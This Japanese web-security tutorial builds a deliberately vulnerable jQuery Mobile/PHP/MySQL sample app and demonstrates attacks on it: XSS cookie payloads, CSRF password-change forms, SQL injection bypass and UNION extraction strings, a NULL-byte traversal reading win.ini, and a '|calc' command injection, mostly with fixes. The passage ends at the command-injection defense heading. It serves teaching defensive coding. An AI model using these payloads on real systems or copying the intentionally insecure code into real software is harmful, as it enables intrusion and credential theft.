始める前に
このチュートリアルの対象読者は、アプリケーションをセキュアにしたいと思っている jQuery Mobile 開発者です。チュートリアルでは、読者に PHP、MySQL、JavaScript、XHTML、および CSS を使用した Web アプリケーション開発についての基礎知識があることを前提とします。また、このチュートリアルはWeb アプリケーション・セキュリティーのすべてを網羅したものではありません。むしろ、入門用のチュートリアルとして意図されています。このチュートリアルで取り上げる問題の詳細や、その他の関連するトピックについては、「参考文献」を調べてください。
このチュートリアルについて
スマートフォンなどの機器が普及してきたことにより、Web アプリケーション・セキュリティーの適用範囲はモバイル・アプリケーションにまで拡大されています。多くのこうした機器のインターフェースには制約が伴うため、開発者は、クライアント・サイドで入力を検証することで十分攻撃を防げるだろうという安易な想定のもとに作業を進めてしまう場合があります。けれども、モバイル・アプリケーションから送信されるリクエストは、従来の Web アプリケーションと同じように改ざんすることができます。この脆弱性を考えると、クライアントを信頼することはできません。クライアント機器やサーバーに機密データが保管されている場合には、ユーザーをたちの悪いハッカーから守ることが不可欠となります。このチュートリアルでは、さまざまな脆弱性がどのようにして生じるのか、またそれらの脆弱性を悪用しようとするアタッカーからの攻撃を抑制するために講じることのできる対策を説明します。具体的には、以下の脆弱性を取り上げます。
- クロスサイト・スクリプティング
- クロスサイト・リクエスト・フォージェリー
- アクセス制御突破
- SQL インジェクション
- ファイル・インクルージョン
- OS コマンド・インジェクション
- スクリプト言語インジェクション
- 任意のファイル作成
上記のすべての脆弱性および対策について、jQuery Mobile、PHP、および MySQL で作成したサンプル・アプリケーションを用いて具体的に説明します (サンプル・コードが含まれる .zip ファイルについては、「ダウンロード」を参照してください)。
前提条件
このチュートリアルを完了するには、以下のツールが必要です。
- Web サーバー — PHP をサポートする任意の Web サーバーを使用することができます。このチュートリアルで取り上げる脆弱性を突いた攻撃の多くは Windows 固有のものですが、他のオペレーティング・システム向け改変される可能性もあります。推奨される Web サーバーは、Apache または IBM HTTPServer です。
- PHP — 説明する一部の攻撃は最新バージョンの PHP には効果がないため、このチュートリアルでは PHP 5.3.1 を使用しました。このようなバージョンによる違いがある場合は、チュートリアル全体でその旨を注記します。
- MySQL — このチュートリアルでは、オープンソースのデータベースである MySQL を使用します。使用したのはバージョン 5.1.41 ですが、他のバージョンでも問題ありません。
- Web デバッグ・プロキシー — HTTP リクエストを操作する手段が必要なため、Web デバッグ・プロキシーが非常に役立ちます。チュートリアルでは一貫して Fiddler v2.3.2.4 を使用しますが、これ以外でも、リクエストを変更できる Web デバッガー・プロキシーであれば構いません。
- jQuery Mobile — このチュートリアルで作成するサンプル・アプリケーションのフロント・エンドでは、jQuery Mobile 1.0 Alpha 3 を使用します。
「参考文献」に、参考となるリンクが記載されています。
セキュアでないアプリケーションの構築
このチュートリアルではまず、セキュアでないサンプル・アプリケーションを作成するところから始めます。この CMA (Contrived Mobile Application: あえてセキュアでなくしたモバイル・アプリケーション) と名付けたアプリケーションを、以降のセクションで取り上げるさまざまな攻撃の実験台として使用します。さまざまな攻撃を試すために、CMA には以下の 2 つの機能を持たせます。
- カスタマイズ可能なユーザー・プロフィール・システム
- 基本的な計算を行う電卓
アプリケーションを構成する各要素にはセキュリティー・ホールを含めるようにし、アタッカーがその目的を果たすために利用できるようにします。それぞれの脆弱性を持たせた後、CMA にはハッカーからの攻撃を阻止するために適切なパッチをあてます。
スキーマ
ユーザー中心のアプリケーションとして、CMA には 1 つのテーブルで構成される単純なデータベース・スキーマがあります (リスト 1 を参照)。
リスト 1. CMA インストール・スクリプトからの抜粋
CREATE TABLE UserAccount ( Id INT NOT NULL PRIMARY KEY AUTO_INCREMENT, Username VARCHAR(256) NOT NULL, Password VARCHAR(32) NOT NULL, FirstName VARCHAR(256) NOT NULL, LastName VARCHAR(256) NOT NULL ); INSERT INTO UserAccount (Username, Password, FirstName, LastName) VALUES ('Jane', md5('Password1'), 'Jane', 'Smith'); INSERT INTO UserAccount (Username, Password, FirstName, LastName) VALUES ('John', md5('Password1'), 'John', 'Doe');
ユーザーとして作成されているのは、Jane と John の 2 人です。簡単のため、許可レベルは省略します。
言語の選択
言語の選択ロジックは、ページがロードされるたびに実行されます (リスト 2 を参照)。
リスト 2. require_once に渡された入力を不適切に処理するコード
if (isset($_COOKIE['language'])){ require_once($_COOKIE['language'] . ".php"); }
まず、条件文によって、言語の cookie があるかどうかを調べます。cookie が存在する場合には、.php 拡張子が cookie の値に追加され、そのストリングが
require_once
関数に渡されて、適切なスクリプトがロードされます。
認証と承認
次に、初歩的な保護を追加します。認証および承認ロジックを伴ったログイン・フォーム (図 1 を参照)
を作成し、ログインに成功した時点で、セッション値 CurrentUser
を認証済みユーザーのユーザー名に設定します。承認ロジックとしては、このセッション値のチェックが行われます。
図 1. CMA ログイン・フォーム
リスト 3 で作成しているのは、セキュアでない認証ロジックです。
リスト 3. セキュアでない認証ロジック
<?php function Authenticate($Username, $Password) { $query = "SELECT COUNT(*) FROM useraccount " . "WHERE Username = '" . $Username . "' AND " . "Password = md5('" . $Password . "');"; $result = mysql_query($query); $_SESSION["CurrentUser"] = $Username; return mysql_result($result, 0); } ?>
リスト 4 では、セキュアでない承認ロジックを作成しています。
リスト 4. セキュアでない承認ロジック
<?php if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL) { header("Location: login.php"); } ?>
ユーザー検索
システム内の他のユーザーを検索する機能がなければ、ユーザー中心のアプリケーションは完成しません。ユーザー検索機能は、キーワードの入力を受け付けて、一致結果を順不同リストとして返します (図 2 を参照)。リスト 5 に、検索ロジックを記載します。
リスト 5. ユーザー検索実装でユーザーが送信したデータをセキュアに処理しないコード
Query: <?php echo $query; ?> <ul data-role="listview" data-theme="c" style="margin-top:12px;"> <?php $query = "SELECT FirstName, LastName " . "FROM UserAccount " . "WHERE FirstName LIKE '%$query%' OR " . "LastName LIKE '%$query%';"; $result = mysql_query($query) or die(mysql_error());; while ($row = mysql_fetch_assoc($result)) { echo "<li>" . $row["FirstName"] . " " . $row["LastName"] . "</li>"; } ?> </ul>
リスト 5
では、さまざまな機能が実行されています。まず、ユーザーに検索対象を再認識させるために、ユーザーが送信したクエリーをページ上端に出力します。続いて、ユーザーが入力したキーワードから、SELECT
文の条件が動的に作成されます。この SQL 文が mysql_query
に渡されると、スクリプトは結果をループ処理して、関連するデータを HTML リスト項目としてエコー出力します。
図 2. ユーザー検索の結果
電卓
ユーザーがその場で基本的な計算式の答えを出す必要がある場合に備え、CMA には電卓があります。この電卓を構成するのは、x、y、演算子の 3 つの入力です。リスト 6 に、計算式を解決して、その答えを表示するコードを記載します。
リスト 6. 電卓の実装でユーザーが送信したデータをセキュアに処理しないコード
<?php $operation = $_GET["operation"] == "operation-add" ? "+" : "-"; $arithmetic = "$_GET[x] $operation $_GET[y]"; echo $arithmetic . " = "; $code = "echo $arithmetic;"; eval($code); ?>
上記のコードでは、最初に GET
データをチェックして、ユーザーが選択した演算を判断します。次に、計算式をストリングとして作成します。続いて、ユーザーが確認できるように式全体を出力してから、PHP として動的に作成されたストリングを解釈します。
図 3 に、動作中の電卓を示します。
図 3. 数値計算をする CMA の電卓
CMA の電卓についての説明は以上です。次は、アプリケーションのコアとなるユーザー設定に目を向けます。
ユーザー設定
CMA の最大の機能は、ユーザーが個人用にカスタマイズできることです。この機能により、ユーザーは個人情報を変更したり、プロフィール用の写真をアップロードしたりすることができます (リスト 7 を参照)。
リスト 7. ユーザーが送信したデータをセキュアに処理しないユーザー設定の実装
<?php $message = "User preferences have been saved."; $validated = TRUE; $update = "UPDATE UserAccount " . "SET " . "FirstName = '$_REQUEST[firstname]', " . "LastName = '$_REQUEST[lastname]' "; $password1 = $_REQUEST["newpassword1"]; $password2 = $_REQUEST["newpassword2"]; if ($password1 != NULL && $password1 != '') { if ($password1 != $password2) $validated = FALSE; $update .= ", Password = md5('$password1') "; } $update .= "WHERE Id = $_REQUEST[userid]"; if ($validated) mysql_query($update) or die(mysql_error()); if (isset($_FILES["picture"])) { $image = $_FILES["picture"]["tmp_name"]; // For this example ping will be used as a mock image // compression tool. $compress_command = "ping $image $_REQUEST[imagecompression]"; exec($compress_command); move_uploaded_file($image, "images/" . $_FILES["picture"]["name"]); } echo $message; ?>
リスト 7 のコードはまず、UserAccount テーブルに対する UPDATE 文を作成して実行します。ユーザーが画像をアップロードした場合、その画像は擬似画像圧縮ユーティリティーで処理されてから、images ディレクトリーに移されます。
図 4 に、「First Name (名)」、「Last Name (姓)」、「New Password (新規パスワード)」、「Repeat New Password (新規パスワードの確認)」、「Profile Picture (プロフィール写真)」フィールドからなるユーザー設定インターフェースを示します。
図 4. John Doe のアカウントが表示されたユーザー設定インターフェース
関連する CMA の機能をひと通り説明したので、今度はその実装を詳しく調べていきます。以降のセクションでは、このアプリケーションに存在する脆弱性を取り上げ、その脆弱性を悪用する方法、そしてその攻撃を防ぐための対策について説明します。
クロスサイト・スクリプティング (XSS)
ハッカーが他のユーザーを攻撃するためにクライアント・サイド・スクリプトを注入できるとしたら、その Web サイトは XSS の攻撃に対して脆弱です。XSS には、折り返し型と蓄積型の 2 つのタイプがあります。一般に、XSS は単に迷惑なものでしかないと誤解されています。折り返し型 XSS は大した脅威ではないこともありますが、多くの場合、ユーザー・アカウントを侵害されやすい状態にするか、ユーザーをそれ以上の危険にさらします。
折り返し型 XSS
折り返し型 XSS は、リクエスト・データがエンコードもフィルタリングもされずにレスポンスでレンダリングされるのを悪用して行われます。ソーシャル・エンジニアリングの助けを借りれば、アタッカーは、ユーザーをそのようなリクエストを作成するページに誘い込むことができます。すると、アタッカーはターゲットとするユーザーのコンテキストで JavaScript を実行できるようになるというわけです。XSS で実行できることはセキュリティー・ホールの性質にもよりますが、通常は、セッションの乗っ取りや、クレデンシャルの盗用、その他の承認されてないアクションの実行などのために XSS が用いられます。
蓄積型 XSS
蓄積型 XSS は一般に、折り返し型より深刻な脅威です。サーバーがユーザーから送信されたリクエスト・データを保存する場合、XSS の脆弱性は持続するとみなされます。悪意のあるデータがアプリケーション内に保持されることから、攻撃のソーシャル・エンジニアリングの側面は単純になります。悪用の仕方によっては、ソーシャル・エンジニアリングがまったく利用されない場合もあります。
悪用の仕組み
CMA には XSS の脆弱性が溢れています。ユーザー検索だけをとっても、折り返し型 XSS と蓄積型 XSS の両方の脆弱性があります。以下に、折り返し型 XSS を悪用する場合を示します。http://localhost/CMA/insecure/search.php?query=%3Cscript%3Ealert
(document.cookie)%3C/script%3E
折り返し型 XSS 攻撃の効果は、クライアント・サイドで対策が取られていない限り、リンクにナビゲートした時点で以下のようにたちまち明らかになります。Query: <script>alert(document.cookie)</script>
XSS 保護機能は、ブラウザー (Microsoft Internet Explorer 8 など) に組み込まれている場合や、プラグイン (Firefox の noXSS など) としてインストールされている場合がありますが、クライアント・サイドのフィルターを当てにはしないでください。ユーザーが XSS 保護機能をインストールしているとは限らないだけでなく、大抵は折り返し型 XSS から保護するだけにすぎません。クライアント・サイドのフィルタリングは、実際には逆効果の場合があり、ユニバーサル XSS (UXSS) の脆弱性をもたらすこともあります。その一例としては、Microsoft がそのセキュリティー・ホールにパッチをあてる前の Internet Explorer 8 が挙げられます。
蓄積型 XSS の動作を見るには、以下の script タグをユーザー設定フォームの「First Name (名)」または「Last Name (姓)」のフィールドに入れて、ユーザーを検索してください。<script>alert(document.cookie)</script>
これにより、検索結果にユーザーが表示される時点で JavaScript が実行されます。
クロスサイト・スクリプティングの防止策
通常、XSS 攻撃を防ぐには、サーバー・レスポンスでユーザー入力に適切なエンコードを適用するだけのことです。ユーザー検索の折り返し型 XSS の例では、HTML
エンティティーのエンコードを適用するだけで、悪意のあるアクションを十分に防ぐことができます。このステップを PHP API で実行するには、htmlentities
関数を使用して、Query: <?php echo
htmlentities($query); ?>
とします。
これで、アップロードされたコードに対して以下の攻撃をテストすると、異なる結果になります。Query: <script>alert(document.cookie)</script>
小なり記号と大なり記号はエンコードされた HTML エンティティーとなるため、アタッカーはマークアップを注入することができません。蓄積型 XSS
の脆弱性を修正するのにも、同じように htmlentities
関数を使用します (リスト 8 を参照)。
リスト 8. 蓄積型 XSS を防ぐための CMA の変更
while ($row = mysql_fetch_assoc($result)) { echo "<li>" . htmlentities($row["FirstName"]) . " " . htmlentities($row["LastName"]) . "</li>"; }
ユーザーから送信されるデータを HTML 属性値に注入する場合には、値そのものの中で、値を囲むために使用するストリング区切り文字が確実に削除またはエンコードされるようにしてください。さもないと、以下のような属性インジェクションが発生しかねません。<a href='http://www.mywebsite.com/'>My Website</a>
リスト 9 に、属性インジェクションが発生する仕組みを示します。
リスト 9. 単一引用符がエンコードされていないために可能になる属性インジェクション
<a href='http://www.mywebsite.com/'onmouseover='alert(document.cookie) '>My Website</a>
セキュリティーの追加層として、Set-Cookie レスポンス・ヘッダーの HttpOnly
フラグを有効にすると、クライアント・サイド・スクリプトが、保護された cookie にアクセスできなくなります。ただし、この機能に頼ることはできません。一部のブラウザーでは、まったくサポートされないためです。
次のセクションでは、よく見られる脆弱性として、システムの他のユーザーに対するクライアント・サイドの攻撃を仕掛けるために利用できる脆弱性を取り上げます。
クロスサイト・リクエスト・フォージェリー (CSRF または XSRF)
CSRF
とは、アタッカーがユーザーをだまして、そのユーザーのセキュリティー・コンテキスト内でアクションを実行させることです。セキュリティー対策が採られていない場合、フォーム・メソッドが
GET
であろうと、POST
であろうと、ハッカーはこの類の攻撃を仕掛けることができます。この 2 つのメソッドのうち、GET
メソッドを使用する CSRF 攻撃のほうが大きな脅威となります。なぜなら、URL だけを使ってリクエストを偽造し、アタッカーがそのリクエストを画像のソースとして使用できるからです。アタッカーがシステム内で画像のソースを自由に設定できるとしたら、ハッカーがそれを利用して、オンサイト・リクエスト・フォージェリー (OSRF) 攻撃を仕掛けることが可能になります。
悪用の仕組み
CMA のほとんどすべてのアクションは、CSRF 攻撃へと改変することができます。リスト 10 は、GET
を利用した攻撃の一例です。この攻撃は、ターゲットとするユーザーのパスワードを新しいパスワードに変更します。
リスト 10. パスワードを変更する CSRF の例
<html> <body> <img src="http://localhost/CMA/insecure/preferences.php?firstname=John&lastname =Doe&newpassword1=new_password&newpassword2=new_password&userid =2&imagecompression=5" /> </body> </html>
GET メソッドで上手く行かなければ、アタッカーは POST
を使用してリクエストの偽造を試みます (リスト 11 を参照)。
リスト 11. POST
メソッドを使用してパスワードを変更する CSRF の例
<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/CMA/insecure/preferences.php"> <input type="hidden" name="firstname" value="John" /> <input type="hidden" name="lastname" value="Doe" /> <input type="hidden" name="newpassword1" value="new_password" /> <input type="hidden" name="newpassword2" value="new_password" /> <input type="hidden" name="userid" value="2" /> <input type="hidden" name="imagecompression" value="5" /> </form> </body> </html>
リスト 11 でレンダリングされた HTML を表示すると、ユーザー設定の更新リクエストが作成されます。このリクエストは、正当なユーザーのリクエストとまったく同じですが、フォームの値はすべてアタッカーによって制御されています。
クロスサイト・リクエスト・フォージェリーの防止策
CSRF を防ぐには、いくつかの一般的な方法があります。そのうち最も簡単に実装できる方法は、HTTP リクエスト内のリファラーをチェックする方法です (リスト 12 を参照)。リクエストが信頼できるソースからのものでなければ、そのリクエストを拒否します。リファラーのチェックが詳細であればあるほど、優れたセキュリティーになります。
リスト 12. 基本的なリファラーのチェックの実装
if (strpos($_SERVER["HTTP_REFERER"], $app_host . $app_path) != 0 && strpos($_SERVER["HTTP_REFERER"], $app_path) != 0) die("Invalid request");
ただし、この方法は絶対に確実なわけではありません。もっと確実な対策は、セキュリティー・トークンを利用して、保護されたフォームごとに、サーバーが長くて十分にランダムなトークン値を組み込むことです。サーバー・サイドで各トークン値を追跡し、必ずそのトークン値が一度だけ使用されていること、そして事前に定義された期間が過ぎると失効するようにします。フォームの送信時に、トークン値が欠如していたり、無効な値になっていたり、失効していたりする場合には、そのリクエストは偽造されている疑いがあるという理由で拒否されます。トークン値を推測することができなければ、アタッカーは攻撃を作成することができません。このセキュリティー・メカニズムをアプリケーションのすべてのページに適用すれば、折り返し型 XSS を防ぐことにもなります。
以降のセクションでは、サーバー・サイドのいくつかの脆弱性を見て行きます。
アクセス制御突破
ほとんどの場合、自動化されたユーティリティーを使ってアクセス制御をテストするのは容易ではありません。このことから、アクセス制御の問題は見過ごされがちです。認証されていないユーザーや承認されていないユーザーが、本来はアクセスが拒否されるはずのリソースにアクセスできる場合、そのアプリケーションのアクセス制御は不完全と言えます。この問題は、承認されたユーザー用のリソースを保護しようとして、開発者が URL を非特権ユーザーから隠すことで度々発生します。URL を隠すだけでリソースを保護できるとは思わないでください。アタッカーは他の手段、例えば URL を推定することによって URL を探し出すことができます。また、特権を失ったユーザーが、保存しておいた URL を使うことで、許可されていないリソースにアクセスできてしまう恐れもあります。
悪用の仕組み
CMA には、アクセス制御関連の脆弱性が 2 つあります。それは、認証迂回と特権昇格です。認証バグは、認証済みユーザーではないことを検出するプロセスを終了し損なうことが原因で発生します。そのユーザーが、禁止されているアクションをブラウザーで実行しようとすると (リスト 13 を参照)、一見したところ、想定通りの振る舞いとなります。つまり、ブラウザーはログイン・ページにリダイレクトされます。
リスト 13. 認証済みでないユーザーからの特権リソースに対するリクエスト
POST http://localhost/CMA/insecure/preferences.php HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 107 Cache-Control: max-age=0 Origin: null User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8 ,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 firstname=John&lastname=Doe&newpassword1=new_password&newpassword2 =new_password&userid=2&imagecompression=5
リスト 14 に示すように、Fiddler などの Web デバッグ・プロキシーを使ってトラフィックを調べると、見た目以上のかなりのことが行われていることが明らかになります。
リスト 14. インタープリターが正しく実行を終了しなかったことを示すレスポンスの抜粋
HTTP/1.1 302 Found Date: Sat, 19 Mar 2011 23:14:44 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: login.php Content-Length: 1138 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> ...
サーバーは 302 ステータス・コードで応答しましたが、レスポンスの本体には、認証済みユーザーが受け取るすべての情報が含まれています。さらに、パスワードの変更に成功し、ターゲット・アカウントは改ざんされています。
認証迂回に対する脆弱性とは別に、CMA には特権昇格という、もう 1
つのアクセス制御の問題があります。ユーザーが自分のプロフィールを更新するときには、必ず以下に示すようにユーザー・アカウントの ID
がフォームの隠しフィールドとしてフォームとともに送信されます。<input type="hidden" name="userid" id="userid" value="2" />
フォームがサーバーに送信されると、送信された ID
が現行ユーザー本人の ID
であることを確認するための検証は行われないまま、その値を使ってデータベースからレコードがロードされます。したがって、悪意のあるユーザーが、ブラウザー・ベースの Web
開発ツールを使って隠しフィールドの値を変更してからフォームを送信したり、あるいは Web デバッグ・プロキシーを使用してリクエストを改ざんし、任意の ID
を指定したりして、他人のユーザー・アカウントを変更できるというわけです。
アクセス制御突破の防止策
認証迂回を防ぐには、認証または承認のチェックが失敗した場合には、保護されたアプリケーション・ロジックが決して実行されないようにしてください。PHP で覚えておかなければならない重要な点は、header 関数を使ってレスポンスの Location フィールドを設定しても、実行は終了されないことです。リスト 15 に記載する承認コードであれば、正しく終了します。
リスト 15. 改善された承認コード
<?php if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL) { header("Location: login.php"); exit; } ?>
ユーザーが認証されないユーザーであると判別された場合には、Location ヘッダーが設定された後に exit
関数が呼び出されます。このステップにより、残りのスクリプトは実行されません。
特権昇格を廃絶するには、すべての特権アクションに対して適切な承認が行われるようにしてください。データをサーバー・サイドに格納できる場合、クライアント・サイドにはデータを格納しないようにする必要があります。リスト 15 のユーザー ID は、セッションに格納できるデータの好例です。以下に、修正の一部を記載します。$update .= "WHERE Id = $_SESSION[userid]";
次に取り上げるのは、SQL インジェクションです。この有名な脆弱性は、さまざまな結果をもたらす可能性があります。
SQL インジェクション
SQL インジェクションは、その認識度は高くなってはいるものの、依然として問題となっています。SQL インジェクションが成功することでもたらされる結果は、脆弱性によってさまざまに異なりますが、例えば以下の脅威がもたらされることがあります。
- データの開示
- 既存のデータの改ざん
- 新しいデータの挿入
- 任意のファイルシステム・アクセス
- 任意のネットワーク・アクセス
- システムのセキュリティー侵害
悪用の仕組み
CMA でのあらゆるクエリーは、SQL インジェクションに対して脆弱です。そのため、いくつかの入力ベクトルを操作することになります。認証については、ユーザー名フィールドに条件を注入し、クエリーの残りの部分をコメントアウトすることによって迂回することができます。リスト 16 に、意図されていたクエリーを記載します。
リスト 16. ユーザー・クレデンシャルとして John と Password1 を送信する場合の SELECT 文
SELECT COUNT(*) FROM UserAccount WHERE Username = 'John' AND Password = md5('Password1');
リスト 17 に、悪意のあるストリングを使って最初の条件にコードを注入した文を記載します。
リスト 17. クレデンシャルとして 'or 1=1;#
と空のパスワードを送信する場合の SELECT
文
SELECT COUNT(*) FROM UserAccount WHERE Username = ''or 1=1;#' AND Password = md5('');
1 は常に 1 と等しく、パスワードのチェック条件がシャープ記号 (#) でコメントアウトされているため、リスト 17 のクエリーは UserAccount テーブルに含まれるすべてのレコードのカウントを返します。カウントがゼロでない場合、認証関数の戻り値は true と評価され、アタッカーにアクセス権を与えることになります。
ユーザー検索機能は、特に任意のデータを抽出するために悪用できるという点で脆弱です。リスト 18 に、本来は機能するはずの検索クエリーを記載します。
リスト 18. 通常の条件でのユーザー検索クエリー
SELECT FirstName, LastName FROM UserAccount WHERE FirstName LIKE '%John%' OR LastName LIKE '%John%';
アタッカーは UNION 演算子を使った、まったく新しい以下のクエリーを追加することで、自由自在にデータを取得することができます。'and 1=0 UNION SELECT Username, Password FROM UserAccount;#
リスト 19 に、上記の攻撃用ストリングを送信した後に動的に生成されたクエリーを記載します。
リスト 19. SQL インジェクション後のユーザー検索クエリー
SELECT FirstName, LastName FROM UserAccount WHERE FirstName LIKE '%'and 1=0 UNION SELECT Username, Password FROM UserAccount;#%' OR LastName LIKE '%'and 1=0 UNION SELECT Username, Password FROM UserAccount;#'";
この攻撃によって、データベース内のすべてのユーザーのユーザー名とパスワード・ダイジェストが生成されることになります (図 5 を参照)。
図 5. UNION 演算子を使用したインジェクションが成功した結果
SQL インジェクションの防止策
SQL インジェクションを防ぐには、ユーザーが送信するすべての入力を適切にエスケープして検証する必要があります。ほとんどの Web 開発 API
には、そのための機能が備わっています。PHP と MySQL では、パラメーター化したクエリーと併せて mysql_real_escape_string
をストリング値として使用すると、多くの攻撃を防ぐことができます (リスト 20 を参照)。
リスト 20. PHP API が提供する予防策を使用して更新した認証コード
$query = sprintf("SELECT COUNT(*) FROM useraccount " . "WHERE Username = '%s' AND " . "Password = md5('%s');", mysql_real_escape_string($Username), mysql_real_escape_string($Password));
リスト 21 に示すように、攻撃ストリングの先頭にある区切り文字がエスケープされることにより、認証迂回は不可能になります。
リスト 21. 新しい修正を適用した場合のインジェクションの試行
SELECT COUNT(*) FROM useraccount WHERE Username = '\'or 1=1;#' AND Password = md5('');
フォーマット・ストリングでは、正しい型の指定子を使用することが重要です。期待される型にキャストすると、さらにセキュリティーを強化することができます (リスト 22 を参照)。
リスト 22. 信頼できない整数を使用したクエリーをセキュアに作成するコード
$query = sprintf("SELECT * FROM useraccount WHERE Id = %d", (int)$_GET['id']);
次のセクションではファイル・インクルージョンを取り上げます。これは、PHP Web アプリケーションでよく発生するタイプのバグです。
ファイル・インクルージョン
ファイル・インクルージョンには、リモート・ファイル・インクルージョンとローカル・ファイル・インクルージョンの 2
つのタイプがあります。その名前が示すように、このタイプの脆弱性は、アタッカーに任意のファイルをインクルードさせる隙を与えます。その結果、ファイルの内容が開示されるのか、それともコードとして実行されるのかは、その脆弱性を悪用した攻撃の性質次第です。PHP
の場合、php.ini ファイルで allow_url_fopen
が無効にされていれば、リモート・ファイル・インクルージョンは不可能となるのが通常です。
悪用の仕組み
CMA の言語 cookie は、ローカル・ファイル・インクルージョンに対して脆弱であるだけでなく、サーバーが URL をオープンできるように構成されている場合には、リモート・ファイル・インクルージョンに対しても脆弱です。一連のトラバーサル・シーケンスと Web ルートの外部にあるフォルダーとファイルの後に、ストリングを終了するための NULL バイトを渡すことで、任意のファイルをインクルードすることができます。リスト 23 に、win.ini ファイルをインクルードする、悪意のあるリクエストを示します。
リスト 23. サーバーの win.ini ファイルを取得しようとする、悪意のあるリクエスト
GET http://localhost/cma/insecure/index.php HTTP/1.1 Host: localhost Connection: keep-alive Referer: http://localhost/cma/insecure/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00
リスト 24 は、サーバーのレスポンスです。
リスト 24. 攻撃が成功したことを示すサーバーのレスポンス
HTTP/1.1 200 OK Date: Sun, 20 Mar 2011 20:59:41 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Set-Cookie: PHPSESSID=39q2aarl86t01j697vrb6ekjf2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 6142 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] m2v=MPEGVideo mod=MPEGVideo [Trimmed]
PHP 5.3.4 の時点で、パスの NULL バイト攻撃は成功しなくなっていることに注意してください。けれども、PHP 5.3.4 を使用することが要件になっていない場合もあるので、PHP 5.3.4 を使用することのみをファイル・インクルージョンの脆弱性に対する対策として考えないでください。
任意のファイルの開示の他、ファイル・インクルージョンを使用して、サーバーに任意のファイル・タイプ (jpg など) をコードとして解釈させることもあります。
ファイル・インクルージョンの防止策
可能であれば、ファイルの読み込みまたはインクルードを行う関数には、ユーザー入力を渡さないようにしてください。そうせざるを得ない場合には、リスト 25 で行っているように、ホワイトリストを使ってデータを検証するという方法を採るようにしてください。有効な値の数が多すぎてホワイトリストに収まりきらない場合には、トラバーサル・シーケンスや NULL バイトの有無をチェックして、これらの要素が含まれるリクエストを (サニタイズしようとはせずに) 拒否します。必ず、サーバーがユーザーから送信されたファイル名の拡張子を追加するようにしてください。
リスト 25. ファイル・インクルージョン攻撃を阻止するように更新された言語選択コード
$languages = array( "en-us", "en-ca");if (isset($_COOKIE['language'])) { if (in_array($_COOKIE['language'], $languages) require_once($_COOKIE['language'] . ".php"); else die("Invalid language.");}
更新後のコードでは、言語の配列に含まれる cookie の値しか許可されないため、ユーザーは言語選択機能を悪用して任意のファイルをインクルードすることはできません。
ローカル・ファイル・インクルージョンも深刻な脅威ですが、次のセクションで説明する攻撃による結果は、それよりもさらに深刻です。
OS コマンド・インジェクション
想像できると思いますが、OS コマンド・インジェクションはかなり深刻な脅威です。オペレーティング・システムのコマンドを実行する関数にユーザー入力を渡す場合には、必ずデータが適切にエスケープされるよう、くれぐれも十分注意してください。
悪用の仕組み
OS コマンド・インジェクションに対して脆弱なのは、ユーザー設定機能の擬似画像圧縮です。パイプ記号 (|) を先頭に付けた、画像圧縮データを使用した悪意のあるコマンドをリクエストの本体に含めて渡すことで、コマンドを注入することができます (リスト 26 を参照)。
リスト 26. 悪意のあるリクエストの本体
------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="firstname" John ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="lastname" Doe ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="newpassword1" ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="newpassword2" ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="picture"; filename="x.txt" Content-Type: text/plain ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="userid" 2 ------WebKitFormBoundaryFnGBYVe08wA8NMrs Content-Disposition: form-data; name="imagecompression" 5|calc ------WebKitFormBoundaryFnGBYVe08wA8NMrs-
このリクエストによって、以下の値がシステム関数に渡されます。ping "C:\tools\xampp\tmp\php7533.tmp" 5|calc
OS コマンド・インジェクションの防止策
